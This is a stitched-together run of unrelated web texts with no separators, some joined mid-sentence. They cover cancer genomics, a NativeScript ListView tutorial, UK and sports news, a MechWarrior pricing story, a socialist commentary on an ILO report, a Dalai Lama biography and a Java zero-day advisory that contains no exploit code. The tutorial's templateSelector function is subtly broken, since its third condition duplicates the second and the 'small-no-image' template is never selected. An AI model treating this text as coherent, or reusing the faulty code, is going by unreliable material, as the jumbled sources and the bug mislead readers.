Somatic copy number alterations were very similar to those previously reported for lung adenocarcinoma24 (Supplementary Fig. 5, Supplementary Table 6). Significant amplifications included NKX2-1, TERT, MDM2, KRAS, EGFR, MET, CCNE1, CCND1, TERC and MECOM (Supplementary Table 6), as previously described24, 8q24 near MYC, and a novel peak containing CCND3 (Supplementary Table 6). The CDKN2A locus was the most significant deletion (Supplementary Table 6). Supplementary Table 7 summarizes molecular and clinical characteristics by sample. Low-pass whole-genome sequencing on a subset (n = 93) of the samples revealed an average of 36 gene–gene and gene–inter-gene rearrangements per tumour. Chromothripsis25 occurred in six of the 93 samples (6%) (Supplementary Fig. 6, Supplementary Table 8). Low-pass whole genome sequencing-detected rearrangements appear in Supplementary Table 9.What happens here is that recycling doesn’t work as intended anymore.
Let’s say a big item scrolls out of view and its view template is put into the recycle pool and then reused as small-image item. The angular renderer will have to create all the views contained in the second ngIf and will destroy all the views form the first ngIf. The only reused part will be the wrapping StackLayout (which is not really needed anyway).
This means this will be slow and generate garbage at the same time. Here is how this looks like:
That was slow! We can clearly see the GC kicking in and freezing the scroll.
The Better Approach
Luckily there is a cure. There is a way to instruct the ListView to use different item templates based on the item criteria you define. The good part is that it will keep the recycled views in different pools and will recycle a view form the right pool when needed to render the next item. The only thing that will have to change are the bindings — no creating/destroying views.
No need for ngIf and therefore - no excessive creating/destroying of UI Views each time a view is recycled. As a bonus, we can get rid of the StackLayout that was previously just holding the 3 different templates.
And here is the code for that:
<ListView [items]="items" [itemTemplateSelector]="templateSelector">
<ng-template nsTemplateKey="big" let-item="item">
<!-- big item template -->
</ng-template>
<ng-template nsTemplateKey="small" let-item="item">
<!-- small item with image -->
</ng-template>
<ng-template nsTemplateKey="small-no-image" let-item="item">
<!-- small item with no image -->
</ng-template>
</ListView>
In the markup we define 3 different <template> elements giving each one a name using nsTemplateKey directive. We are also giving the ListView a itemTemplateSelector function that is defined in the component code. It should return the name of the template to be used given the actual item:
public templateSelector(item: NewsItem, index: number, items: NewsItem[]) {
if (item.type === "big") {
return "big"
}
if (item.type === "small" && item.imageUrl) {
return "small";
}
if (item.type === "small" && item.imageUrl) {
return "small-no-image";
}
throw new Error("Unrecognized template!")
}
Let’s see how this behaves:
Neat! This is the performance we are looking for!CCTV footage has emerged of the moment a woman appears to be shoved into the side of an oncoming London Underground train.
The man can be seen standing behind the woman before appearing to push her just as the Tube train arrives.
The victim slams into the train before rebounding onto the platform, as commuters rush to help her.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The video was recorded at Piccadilly Circus station on a Bakerloo line platform at 4pm on Tuesday.
A British Transport Police spokesman reported that the woman escaped with minor injuries after the incident.
Japanese national Yoshiyuki Shinohara, 81, of no fixed abode, appeared at Westminster Magistrates' court yesterday charged with attempted murder.
He was remanded in custody and is due to appear at Blackfriars Crown Court on November 25.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowPiranha may be asking a bit much with their latest sell in the free-to-play Mechwarrior Online. The new prestige item is a set of gold plated mechs. Eight of them are on sale and they’ll set you back $500 each.
That’s a lot of money for a mech skin.
The gold plated mechs went on sale with the Clan Collection. The collection is a set of mechs which are due for release by 17 June 2014.
The new mechs are:
Warhawk
Timberwolf (AKA the Mad Cat)
Stormcrow
Adder
Dire Wolf
Summoner
Nova
Kit Fox
Unfortunately, Piranha aren’t letting you simply buy the individual mechs you want. Instead, they’re offering a variety of packs which include different bundles of the mechs. These bundles range from $30 to $240. The cheaper bundles include the least popular mechs so you have to spend a lot of money to get the famous mechs like the Warhawk and Timberwolf.
Except for the gold plated machines, that is. Those specialised mechs are on sale separately.
So, if you wanted every clan mech and all its variants you would need to spend $240 for the top tier bundle and a further $4,000 to get each of the gold plated editions.
You’re not just buying the mech skin, though. You also get a unique bonus module. The module’s being kept secret for now but if it’s anything too good then it would give those with a larger wallet an advantage over poorer players.
The response on the MWO forums has been less than enthusiastic:
“My mind is torn asunder,” writes Lt XKalibur. “On one hand I see some of the greatest representations of clan mechs I’ve ever seen (timber wolf, summoner, adder and uller are to die for), but on the other hand no wallet can repel a price tag of that magnitude! On one hand I want this game to succeed, but where’s the content I keep hearing about? I’ve seen glimpses of UI 2.0, I know that to be real, but where is my CW [Community Warfare]?”
“The thing is, gold plated mechs,” complains Wintersdark. “.. Its… Its the first truely indefensible thing they’ve done. I mean, really, could it have it any more crass? Gold plated? Really PGI? Really?”
Hopefully we’ll see a few big updates to the game between now and the mechs’ release in June. The game’s hit its full release but it’s still lacking features like the whispered about Community Warfare. If Piranha continue pushing out new mech variants instead of developing the game then they may find their audience moves elsewhere. That would be a great shame because the game of Mechwarrior Online’s core is excellent fun.
Update: Due to me being uninformed and silly I originally called ‘Community Warfare’ ‘Clan Wars’, mixing up a promised feature of Mechwarrior Online for part of Battletech’s lore. I also said the Timberwolf was a variant of a Mad Cat. In fact, they’re both names for the same mech.
Cheers to those who pointed this out to me in the comments.Green Wave Becomes Permanent on Valencia Street
Valencia Street’s nearly two-year-old Green Wave signal re-timing aimed at prioritizing bicycle traffic speeds continues to please street users, city leaders, and advocates alike. What started as a temporary pilot will become a permanent institution this week with the installation of four new Green Wave signs along the corridor.
“Green Waves are the most recent example of the SFMTA finding innovative ways to further improve cycling in San Francisco,” said SFMTA CEO Nat Ford.
Following examples in cities like Copenhagen, Amsterdam, and Portland, the signal optimization keeps vehicles traveling at a steady cycle-friendly 13 mph from 16th to 25th streets while garnering benefits for all users.
“The Green Wave signals and the safer, calmer speeds are another step in the right direction for Valencia Street, which is already a thriving commercial corridor thanks to its wide sidewalks and bike lanes and plentiful on-street bike parking,” said Renee Rivera, acting executive director of the San Francisco Bicycle Coalition.
All-green lights provide a great convenience for bicycle travel, effectively removing the strenuous stop-and-go movement that often encourages passing through red lights. Along with pedestrians, cyclists also experience a much safer environment as motor vehicles travel at minimally fatal speeds as well as reduced noise and air pollution.
Even motorists are able to drive more carefully as well as save gas and brake wear by traveling at a pleasantly steadier pace. An SFMTA study done prior to implementation projected average motor vehicle travel times would actually decrease.
The other more widely known Green Wave is Copenhagen’s Nørrebrogade, the busiest bicycle street in the Western world, carrying an average of 38,000 cyclists per day with bike lanes as wide as 16 feet. There, implementation of the green wave has also improved the flow of its heavy bus traffic.
The San Francisco Bicycle Coalition would like to some day see the increasingly popular Valencia Street become a bicycle corridor of similar significance to Nørrebrogade, with its vision for a two-way cycle track in the center of the street included in their Connecting the City campaign. With cars now traveling no faster than bicycle speeds, it would make sense.
San Francisco’s Green Wave is already unique because it is the first in the world to work two ways simultaneously, something Mayor Newsom calls “another example of our leadership in providing quality cycling improvements for this community.”
“Those who bike in San Francisco have seen their rides become safer and more efficient. Our continued commitment is to further the progress made and further establish San Francisco as a champion for providing multiple modes of transportation,” said Newsom.
The SFMTA said it was not currently considering expanding Green Wave to other bicycling corridors but is considering 14th Street for a pilot.
Check out Janel Sterbentz’s Streetfilm on Green Wave from 2009. Shortly after she wrote about Green Wave on Streetsblog, and lobbied the SFMTA with other advocates, the agency began re-timing the signals on Valencia.In an emergency, clean drinking water can be tough to find. Floods, earthquakes and hurricanes can make our usual sources of water potentially unsafe.
After the 2004 tsunami in the Indian Ocean left many without access to clean water, researchers from Nanyang Technological University in Singapore and the University of Colorado, Boulder decided to create a water purification system that could kill bacteria quickly without requiring a power source. They came up with a bacteria-killing, spongy polymer gel that absorbs water, then releases it in a purified form when squeezed.
This could potentially be a super fast, convenient way to ensure access to clean water. Boiling contaminated water gets rid of nasty parasites like Giardia, but after a natural disaster, not everyone has the ability to boil all the water they need. Nor does everyone want to squeeze potable water from their own sweat.
A 4-gram cylinder of the gel can purify half a liter of water per squeeze, and can be reused more than 20 times without losing its ability to disinfect. Xiao Hu, one of the material's creators, estimates that a pocket-sized version of the gel for one person to use would cost about 50 cents to make, and could be dropped from helicopters by emergency aid workers after natural disasters. The researchers plan to field test their gel on water in Myanmar sometime in the near future.
The new material is described in Environmental Science and Technology this month.
Chemical and Engineering NewsILO report: A world blighted by poverty and inequality
10 June 2014
“[W]hen society places hundreds of proletarians in such a position that they inevitably meet a too early and an unnatural death… when it deprives thousands of the necessaries of life… forces them, through the strong arm of the law, to remain in such conditions until that death ensues which is the inevitable consequence… its deed is murder just as surely as the deed of the single individual…”
Frederick Engels, The Condition of the Working Class in England (1845)
A large majority of the world’s population lacks essential social protections, leading to the preventable deaths of 18,000 children under five each day. This is among the findings of the World Social Protection Report 2014-15 released by the United Nation’s International Labour Organization last week.
The ILO surveyed 200 countries for the availability of basic health care coverage, including maternity care, and income security for children, working-age adults and older persons. It found that in these countries only 27 percent of the working-age population and their families had access to such protections in 2012. The other three quarters—some 5.2 billion people—lacked such necessities.
“While the need for social protection is widely recognized, the fundamental right to social security remains unfulfilled for the large majority of the world’s population,” the ILO concluded. “Many of those not sufficiently protected live in poverty, which is the case for half the population of middle- and low-income countries. Many of them, about 800 million people, are working poor, and many work in the informal economy.”
The corporate-controlled media has buried this report, which paints a devastating picture of the state of world capitalism.
Most damning are the figures on children. On average, governments allocate only 0.4 percent of gross domestic product (GDP) to child and family benefits, ranging from 2.2 percent in Western Europe to 0.2 percent in Africa, Asia and the Pacific. The United States spends just 0.699 percent of its GDP on such benefits—just below Latin America. By contrast, the US spends 4.2 percent of economic output on the military.
The human and social impact of such neglect is incalculable. Scientific studies have long shown that food deprivation and the lack of health care, sanitation, clean water and other basic necessities lead to poor brain development and vulnerability to disease and early death.
The ILO report notes that only one quarter of employed women around the world are covered by paid maternity leave, with the figure falling to 10 percent in Africa and South Asia. Austerity measures have reduced maternal benefits in Germany, the United Kingdom, Ireland, the Czech Republic and other countries.
Source: ILO calculations based on WHO Global Health Observatory, various years
The United States is only one of three countries in the world—the others being Oman and Papua New Guinea—where there is no government- or employer-paid leave for new mothers.
Of the nearly 202 million workers unemployed around the world, only 12 percent are receiving jobless benefits. Overall, the report notes, “unemployment rose by more than 45 percent, with more than 44 million unemployed in OECD HICs (High Income Countries) in 2013 compared to 2008, while expenditure on unemployment benefits and tax-funded social assistance was initially increased but later reduced, with around half of those unemployed not receiving unemployment benefits.”
Ninety percent of the population living in low-income countries remains without any health care coverage. Globally, about 39 percent of the population is lacking such coverage. As a result, about 40 percent of global health expenditure is shouldered directly by the sick. Government health outlays have been slashed in Greece, Spain and Portugal, leading to a rise in morbidity and mortality rates.
Nearly half (48 percent) of all people over pensionable age do not receive a pension. For many who do, pension levels are woefully inadequate. “As a result,” the report states, “the majority of the world’s older men and women have no income security, have no right to retire, and have to continue working as long as they can—often badly paid and in precarious conditions.”
The worsening of conditions is largely due to the transfer of vast social resources to the financial aristocracy. As the ILO report makes clear, the austerity measures imposed in the aftermath of the 2008 crash were chiefly aimed at offsetting “rising debts and deficits that resulted from bank bailouts to rescue the financial sectors from bankruptcy, stimulus packages, and lower government revenues due to the slowdown in economic activity.”
These conditions are an indictment of capitalism. They make clear that the ruling classes around the world—and the political parties that defend them—are responsible for inflicting suffering and death on a mass scale, no less than the British bourgeoisie, condemned by Marx’s co-thinker Frederick Engels 170 years ago.
Deprivation for the majority takes place under conditions of the accumulation of stratospheric levels of wealth by the richest one percent and one-tenth of one percent of society. Eighty-five billionaires have a collective fortune of $1.68 trillion, equal to the wealth of the bottom half of the world’s population—3.5 billion people!
Global stock markets, corporate profits and executive pay continue to set new records, while governments around the world, obeying the dictates of the major banks, impose austerity measures on the masses in order to channel even more wealth to the super-rich.
The ILO notes that governments quickly abandoned their stimulus plans and by 2010 had “embarked on fiscal consolidation and premature contraction of expenditure, despite an urgent need of public support among vulnerable populations.” Public expenditure cuts will “intensify significantly” in 2014, it reports, with the International Monetary Fund projecting that 122 countries will reduce expenditures as a percentage of GDP and one-fifth of the countries surveyed will slash spending below pre-crisis levels.
While austerity measures are generally associated with Europe, in the so-called “developing” countries, the ILO reports, governments are eliminating or reducing food and fuel subsidies, cutting or capping public-sector wages, imposing regressive taxes, and “reforming” pension and health care systems.
As for the US, the ILO notes the government has imposed a “freeze of non-security discretionary funding for three years by cutting/reducing 120 programs deemed ineffective, public sector pay freeze, reduction in duration of unemployment insurance, restrictions to food assistance system, and the introduction of a national health insurance program” that will shift costs onto individuals.
The fact that these measures are being carried out on a global scale—implemented by governments of every political stripe—demonstrates that the immiseration of the working class is inherent in the system itself and not attributable simply to this or that political leader or party.
The requirements of civilized life are incompatible with capitalism, an outmoded and failed economic system, which is based on private ownership of the means of production, production for profit, and the irrational division of the world into rival nation-states. Far from lifting up the masses in the “developing” countries, a leveling of conditions is occurring, with living standards for the majority in the older industrialized countries sinking toward those in the former colonial countries.
Mankind is more productive than at any time in human history and entirely capable of eradicating poverty and want. But this is possible only if the productive forces are freed from the grip of the corporate and financial oligarchs and organized in a democratic and scientific fashion by the international working class.
Jerry White
Please enable JavaScript to view the comments powered by Disqus.Turkish FM attends Holocaust Remembrance Day in Auschwitz camp
Sevil Erkuş OSWIECIM, Poland
A woman stands in front of the gate of the Sachsenhausen Nazi death camp with the phrase 'Arbeit macht frei' (Work sets you free) on the eve of the International Holocaust Remembrance Day, in Oranienburg, about 30 kilometers north of Berlin, on Jan. 26. AP Photo
Xenophobia and anti-Semitism lie at the “foundations of the collapse of our civilization” in the 20th century, Polish President Bronislaw Komorowski said at the 70th Holocaust Remembrance Day ceremony in the Auschwitz-Birkenau death camps in Poland yesterday.Turkish Foreign Minister Mevlüt Çavuşoğlu was among the participants at the commemoration event, accompanied by the Deputy Chair of the Association of Turkey’s Jewish Community, Joseph Nassi, and Istanbul rabbi Naftali Haleva.“We are in the place where our civilization went down, the place where German Nazis launched a real death industry and a human being was reduced to a camp number,” Komorowski said.Hollywood mogul Steven Spielberg, who won an Oscar for the Holocaust drama “Schindler’s List,” was also in attendance, marking the passage of 70 years since the liberation of Auschwitz.Nearly 300 survivors of the Auschwitz death camp gathered at the ceremony, as well as Celina Biniaz, 83, who was among the 1,200 Jews who escaped Auschwitz by being placed on Oskar Schindler’s famous list.Auschwitz survivors sat among world leaders, many wearing swatches of striped blue cloth of the kind used for prison uniforms at the death camp.“Few were lucky. Only 10 percent of escapes, taking documents to prove the evil, ended in success. It gave hope that the world would find out about the crimes,” Kazimierz Albin, one of the survivors, told the audience.“The only way for escape is through the chimney of the crematoria,” a Nazi officer told prisoners, Albin recalls.“A minute in Auschwitz was like an entire day, a day was like a year, and a month an eternity,” survivor Roman Kent said.Four prime ministers, three crown princes or princesses, three parliamentary speakers, 14 heads of state and 13 ministers, including five foreign ministers, from almost 40 countries attended this year’s commemoration ceremonies.Poland, extremely critical of Russia’s recent actions in Ukraine, had not sent an invitation to Russian President Vladimir Putin. The Russian delegation was led by Sergei Ivanov, Putin’s chief of staff.Then-Turkish Foreign Minister Abdullah Gül attended the first Holocaust Remembrance Day 10 years ago, alongside former Turkish Jewish community chairman Silvyo Ovadya.Turkey has donated 150,000 euros this year as its contribution to the long-term preservation and restoration of the Auschwitz-Birkenau concentration camp, a Turkish official told the Hürriyet Daily News. A total of 120 million euros is being collected for the restoration of the camp museum, with 60 million euros of the total donation being made by Germany.Most of the 1.1 million people murdered in Auschwitz-Birkenau were Jewish. The camp was liberated by Soviet forces on Jan. 27, 1945. In 2005, the U.N. established Jan. 27 as the official day of commemoration for the victims of Nazi atrocities.International Holocaust Remembrance Day was marked in Ankara for the first time by high-level officials, in a bid to highlight the importance Turkey attaches to the remembrance of 6 million Jews who perished in World War II.“We hope that every person develops an understanding of the Holocaust, which constitutes one of the darkest moments in human history, and will consider the importance of working together so that such a tragedy, and the conditions that made this inconceivable crime possible, will never re-emerge,” the Turkish Foreign Ministry said in a written statement early Jan. 27.“We observe that anti-Semitism, which formed a basis for the inhuman Nazi ideology, still survives today and therefore we believe in the importance of fighting tirelessly against this phenomenon,” it said.Jan. 27 marks the day on which the Auschwitz-Birkenau death camps, established in Poland by the Nazi regime and where the highest number of people were massacred, were liberated by the Soviet Union. The day was designated as “International Holocaust Remembrance Day” by a resolution adopted by the United Nations General Assembly in 2005.“Turkey respectfully commemorates millions of innocent people who lost their lives, primarily the Jews, and conveys our condolences to their relatives,” said the statement, recalling that Ankara had been participating in the activities of the “International Holocaust Remembrance Alliance” (IHRA) as an observer country since 2008.Underlining that Turkey clearly enunciates its sensitivity in all humanitarian matters, including the Holocaust, on every occasion, the Foreign Ministry said Foreign Minister Mevlüt Çavuşoğlu was to represent Turkey in a commemoration ceremony to be held on Jan. 27 at Auschwitz-Birkenau. The delegation accompanying Çavuşoğlu includes representatives of the Turkish Jewish community as well.Turkey’s chief rabbi, İzak Haleva, speaking to Anadolu Agency, welcomed Çavuşoğlu’s attendance at the ceremonies to be held in Poland. “This is very positive, excellent. The state and the government is participating. This is the best way,” Haleva said.The ministry also stated that Parliament Speaker Cemil Çiçek attended the Holocaust commemoration activities held by the Czech legislature in cooperation with the European Parliament in Prague on Jan. 26-27 and delivered a speech to the related international forum.“Holocaust Remembrance Day, which has been observed in Turkey for the last four years with various activities under the organization of the Turkish Jewish community, will be held this year in Ankara, at Bilkent University, with the participation of the speaker of the Turkish Parliament, on the occasion of its 70th anniversary,” it added.“We hope that all these activities will provide ample opportunities to enhance the awareness against the Holocaust and other human tragedies and that such atrocities will never reoccur in the future,” it said.1. Business Model You by Tim Clark
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! This crafty idea has more information at Craft Foxes. Check out the complete list of materials and instructions on how to make this Pineapple Lampshade!Former Australia one-day batsman Michael Di Venuto has been unveiled as the national side's new batting coach.
The position was vacated when Justin Langer took up the top job at Western Australia in November 2012, although Stuart Law and Dean Jones filled the position on an interim basis over the summer.
The appointment comes at a critical time, with many questioning how the inexperienced Aussie batsmen will handle the vastly different conditions on upcoming tours of India and England.
Di Venuto is currently the assistant coach for Tasmania as well as Hobart Hurricanes, but will resign immediately to take up the Aussie job in time for the Indian tour.
The former opening batsman is best remembered for the nine ODIs he played for Australia, although he played a total of 336 first-class matches, mostly for Tasmania but also in English country cricket, until his retirement in 2012.
Australia coach Mickey Arthur said Di Venuto's previous coaching experience put him ahead of other former players who hadn't worked formally as coaches.
"We are delighted to have Michael on board," Arthur said.
"We wanted a batting coach who was working within Australian cricket and who had also represented Australia as a player and Michael certainly brings those two aspects to the table, as well as a wealth of experience in first-class cricket," Arthur said.
"We felt it was important that the appointed person had demonstrated coaching experience. This aligns with our coaching pathway plans which is an Argus review recommendation.
"Michael spent some time around the Test squad while we were in Hobart and again during the Commonwealth Bank Series and we were impressed with the way he went about his work and we look forward to him joining us on a full-time basis," he said.His Holiness the 14th Dalai Lama, Tenzin Gyatso, describes himself as a simple Buddhist monk. He is the spiritual leader of Tibet. He was born on 6 July 1935, to a farming family, in a small hamlet located in Taktser, Amdo, northeastern Tibet. At the age of two, the child, then named Lhamo Dhondup, was recognized as the reincarnation of the previous 13th Dalai Lama, Thubten Gyatso.
The Dalai Lamas are believed to be manifestations of Avalokiteshvara or Chenrezig, the Bodhisattva of Compassion and the patron saint of Tibet. Bodhisattvas are realized beings inspired by a wish to attain Buddhahood for the benefit of all sentient beings, who have vowed to be reborn in the world to help humanity.
Education in Tibet
His Holiness began his monastic education at the age of six. The curriculum, derived from the Nalanda tradition, consisted of five major and five minor subjects. The major subjects included logic, fine arts, Sanskrit grammar, and medicine, but the greatest emphasis was given to Buddhist philosophy which was further divided into a further five categories: Prajnaparamita, the perfection of wisdom; Madhyamika, the philosophy of the middle Way; Vinaya, the canon of monastic discipline; Abidharma, metaphysics; and Pramana, logic and epistemology. The five minor subjects included poetry, drama, astrology, composition and synonyms.
At 23, His Holiness sat for his final examination in Lhasa’s Jokhang Temple, during the annual Great Prayer Festival (Monlam Chenmo) in 1959. He passed with honors and was awarded the Geshe Lharampa degree, equivalent to the highest doctorate in Buddhist philosophy.
Leadership Responsibilities
In 1950, after China's invasion of Tibet, His Holiness was called upon to assume full political power. In 1954, he went to Beijing and met with Mao Zedong and other Chinese leaders, including Deng Xiaoping and Chou Enlai. Finally, in 1959, following the brutal suppression of the Tibetan national uprising in Lhasa by Chinese troops, His Holiness was forced to escape into exile. Since then he has been living in Dharamsala, northern India.
In exile, the Central Tibetan Administration led by His Holiness appealed to the United Nations to consider the question of Tibet. The General Assembly adopted three resolutions on Tibet in 1959, 1961 and 1965.
Democratization Process
In 1963, His Holiness presented a draft democratic constitution for Tibet, followed by a number of reforms to democratize the Tibetan administration. The new democratic constitution was named "The Charter of Tibetans in Exile". The charter enshrines freedom of speech, belief, assembly and movement. It also provides detailed guidelines on the functioning of the Tibetan Administration with respect to Tibetans living in exile.
In 1992, the Central Tibetan Administration published guidelines for the constitution of a future, free Tibet. It proposed that when Tibet becomes free the first task will be to set up an interim government whose immediate responsibility will be to elect a constitutional assembly to frame and adopt a democratic constitution for Tibet. His Holiness has made clear his hopes that a future Tibet, comprising the three traditional provinces of U-Tsang, Amdo and Kham, will be federal and democratic.
In May 1990, as a result of His Holiness’s reforms the Tibetan administration in exile was fully democratized. The Tibetan Cabinet (Kashag), which until then had been appointed by His Holiness, was dissolved along with the Tenth Assembly of the Tibetan People's Deputies (the Tibetan parliament in exile). In the same year, exiled Tibetans living in India and more than 33 other countries elected 46 members to an expanded Eleventh Tibetan Assembly on a one-person one-vote basis. That Assembly then elected the members of a new cabinet.
In September 2001, in a further step towards democratization the Tibetan electorate directly elected the Kalon Tripa, the Chairman of the Cabinet. The Kalon Tripa appointed his own cabinet who then had to be approved by the Tibetan Assembly. This was the first time in Tibet's long history, that the people had elected their political leaders. Since the direct election of the Kalon Tripa, the custom by which the Dalai Lamas, through the institution of the Ganden Phodrang, have held temporal as well as spiritual authority in Tibet, has come to an end. Since 2011, when he devolved his political authority to the elected leadership, His Holiness has described himself as retired.
Peace Initiatives
On 21 September 1987 in an address to members of the United States Congress in Washington, DC, His Holiness proposed a Five-Point Peace Plan for Tibet as a first step towards a peaceful solution of the worsening situation in Tibet. The five points of the plan were as follows:
Transformation of the whole of Tibet into a zone of peace. Abandonment of China's population transfer policy that threatens the very existence of the Tibetans as a people. Respect for the Tibetan people's fundamental human rights and democratic freedoms. Restoration and protection of Tibet's natural environment and the abandonment of China's use of Tibet for the production of nuclear weapons and dumping of nuclear waste. Commencement of earnest negotiations on the future status of Tibet and of relations between the Tibetan and Chinese peoples.
On 15 June 1988, in an address to members of the European Parliament in Strasbourg, His Holiness further elaborated on the last point of the Five-Point Peace Plan. He proposed talks between the Chinese and Tibetans leading to a self-governing democratic political entity for all three provinces of Tibet. This entity would be in association with the People's Republic of China and the Chinese Government would continue to be responsible for Tibet's foreign policy and defence.
Universal Recognition
is Holiness the Dalai Lama is a man of peace. In 1989 he was awarded the Nobel Peace Prize for his non-violent struggle for the liberation of Tibet. He has consistently advocated policies of non-violence, even in the face of extreme aggression. He also became the first Nobel Laureate to be recognized for his concern for global environmental problems.
His Holiness has travelled to more than 67 countries spanning 6 continents. He has received over 150 awards, honorary doctorates, prizes, etc., in recognition of his message of peace, non-violence, inter-religious understanding, universal responsibility and compassion. He has also authored or co-authored more than 110 books.
His Holiness has held discussions with heads of different religions and participated in many events promoting inter-religious harmony and understanding.
Since the mid-1980s, His Holiness has engaged in a dialogue with modern scientists, mainly in the fields of psychology, neurobiology, quantum physics and cosmology. This has led to a historic collaboration between Buddhist monks and world-renowned scientists in trying to help individuals achieve peace of mind. It has also resulted in the addition of modern science to the traditional curriculum of Tibetan monastic institutions re-established in exile..
Political Retirement
On 14 March 2011 His Holiness wrote to the Assembly of Tibetan People's Deputies (Tibetan Parliament-in-exile) requesting it to relieve him of his temporal authority, since according to the Charter of the Tibetans in Exile, he was technically still the head of state. He announced that he was ending the custom by which the Dalai Lamas had wielded spiritual and political authority in Tibet. He intended, he made clear, to resume the status of the first four Dalai Lamas in concerning himself only with spiritual affairs. He confirmed that the democratically elected leadership would assume complete formal responsibility for Tibetan political affairs. The formal office and household of the Dalai Lamas, the Gaden Phodrang, would henceforth only fulfil that function.
On 29 May 2011 His Holiness signed the document formally transferring his temporal authority to the democratically elected leader. In so doing he formally put an end to the 368-year old tradition of the Dalai Lamas functioning as both the spiritual and temporal head of Tibet.
The Future
As far back as 1969, His Holiness made clear that whether or not a reincarnation of the Dalai Lama should be recognised was a decision for the Tibetan people, the Mongolians and people of the Himalayan regions to make. However, in the absence of clear guidelines, there was a clear risk that, should the concerned public express a strong wish to recognise a future Dalai Lama, vested interests could exploit the situation for political ends. Therefore, on 24 September 2011, clear guidelines for the recognition of the next Dalai Lama were published, leaving no room for doubt or deception.
His Holiness has declared that when he is about ninety years old he will consult leading Lamas of Tibet’s Buddhist traditions, the Tibetan public, and other concerned people with an interest in Tibetan Buddhism, and assess whether the institution of the Dalai Lama should continue after him. His statement also explored the different ways in which the recognition of a successor could be done. If it is decided that a Fifteenth Dalai Lama should be recognized, responsibility for doing so will rest primarily on the concerned officers of the Dalai Lama’s Gaden Phodrang Trust. They should consult the various heads of the Tibetan Buddhist traditions and the reliable oath-bound Dharma Protectors who are linked inseparably to the lineage of the Dalai Lamas. They should seek advice and direction from these concerned parties and carry out the procedures of search and recognition in accordance with their instruction. His Holiness has stated that he will leave clear written instructions about this. He further warned that apart from a reincarnation recognized through such legitimate methods, no recognition or acceptance should be given to a candidate chosen for political ends by anyone, including agents of the People’s Republic of China.The latest Java version, Java 7 Update 10 contains a critical security vulnerability which is reportedly already being used for large scale cyberattacks. Users who have Java installed on their computers should deactivate the Java plugin in their browsers without delay.
A malware researcher calling himself kafeine has discovered an online exploit which makes use of a previously unknown Java vulnerability. Security experts at AlienVault have analysed the exploit and confirmed the significance of the find. They were able to use it to inject code onto a fully patched Windows system running Java 7 Update 10. It is currently unclear whether the vulnerability is also present in Java 6, though the exploit did not work in initial tests on Java 6 carried out by kafeine.
The vulnerability is, however, already being exploited by cybercriminals to distribute malware. Security blogger Brian Krebs says that attack modules for the Black Hole and Nuclear Pack exploit kits are already available. According to Krebs, a Black Hole developer calling himself "Paunch", posting on underground forums yesterday (Wednesday), heralded the zero day exploit as a New Year's gift for his paying customers.
Because the vulnerability, thanks to the various exploit kits, requires minimum effort to exploit, it is reasonable to expect that the number of web sites hosting the exploit is likely to rise exponentially over the next few days. Simply visiting an infected web site is all that's required to fall victim to a malware infection. The attack code may also be hosted on mainstream web sites.
Users should therefore deactivate the Java plugin in their browsers without delay. Instructions for doing so can be found on the following web pages:
In Opera, the plugin manager can be accessed by entering opera:plugins in the address bar. Disabling Java under Internet Explorer is not straightforward. Tests carried out by our associates at heise Security found that Microsoft's flagship browser was still able to access the Java plugin even after it had been explicitly disabled. Users running IE are therefore advised to uninstall Java completely using the Add or Remove Programs option in Windows' Control Panel. Users can check whether Java has been successfully deactivated using the Java test page in our browser check suite.
(sno)Teddy Bridgewater is eligible to return from the PUP list, but Courtney Cronin reports that the Vikings are taking their time with the quarterback. (0:48)
EDEN PRAIRIE, Minn. – Teddy Bridgewater’s return to Minnesota Vikings practice on Wednesday drew a larger media contingent than normal, with video, still cameras and iPhones capturing the quarterback’s first few moments in practice since dislocating his knee and tearing multiple ligaments, including his ACL, on Aug. 30, 2016.
The Vikings’ spirits are understandably heightened after witnessing the rehabilitation efforts Bridgewater put in for more than a year. He’s reached a major milestone by returning to practice, but the quarterback still has a way to go before he’ll be part of the team’s game plan.
Minnesota coach Mike Zimmer expressed a need to temper expectations before Bridgewater stepped on the field for the first time in 14 months. The overarching plan is to ease No. 5 in slowly with his practice reps without placing much focus on when he’ll be ready to make the next jump in his recovery.
“We still don’t know where it’s going to go, where that’s going to lead to,” Zimmer said. “I think everybody feels good for him because they know what kind of kid he is and how hard he’s worked. He’s probably not going to play this week, so we need to put the brakes on things a little bit.”
The Vikings are operating within a 21-day window to active Bridgewater off the physically unable to perform list and move him to the 53-man roster or injured reserve for the remainder of the season. That timetable opened on Monday when he was medically cleared to practice.
To determine whether he’s ready to play this season, Zimmer said Bridgewater needs to show movement and how he can protect himself and avoid defenders.
On Wednesday afternoon, Bridgewater was joined by Case Keenum and Kyle Sloter on the practice field. This is the fourth straight practice the Vikings have been without Sam Bradford.
Bridgewater won’t be ready to play until Week 10 at the earliest, assuming the Vikings use the entire 21-day window to determine his status for the rest of the year. In that time, Minnesota will put Bridgewater in various situations to determine how comfortable he is playing at game speed.
“We have to give him some plays,” Zimmer said. “I think some of it is he’s been in a very controlled environment for the last 14 months. Eventually we have to work him into some uncontrolled environments.”All three major political parties will be paying close attention to the 14 seats on Vancouver Island tonight when the results of the B.C. election are tallied.
The B.C. NDP, which has dominated the Island in the previous three elections, needs to hold its 11 seats here and build elsewhere if it hopes to form government.
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The B.C. Liberals, who were reduced to just two seats on the Island in 2013, made a concerted effort to regain ground here this time with the creation of a Vancouver Island platform.
And the B.C. Green Party, which won its first seat four years ago when Leader Andrew Weaver took Oak Bay-Gordon Head from the Liberals, hopes to build on that success by adding more Island seats.
The party leaders have paid increasing attention to key Island ridings in recent days.
Liberal Leader Christy Clark was back again Monday, stopping first in Courtenay-Comox where the retirement of Liberal MLA Don McRae opened the door for an interesting race between Ronna-Rae Leonard of the NDP, Liberal candidate Jim Benninger and Ernie Sellentin of Greens.
Clark then hopped from Courtenay to Sidney, where she campaigned briefly with Liberal candidate Stephen P. Roberts. According to polls, he is in a tight three-way race with Adam Olsen of the Greens and Gary Holman of the NDP. All three ran in the 2013 election that Holman won by just 163 votes over Roberts and 379 votes over Olsen.
Weaver also visited the riding Monday, campaigning later in the day with Olsen, who sent an email to supporters, reminding them of the closeness of the 2013 race and urging them to get out and vote.
NDP Leader John Horgan spent Monday in Surrey, but has been a frequent visitor to Island ridings. A week ago, he promised a new hospital for the Cowichan Valley in hopes of shoring up support in an NDP stronghold vacated by retiring MLA Bill Routley.
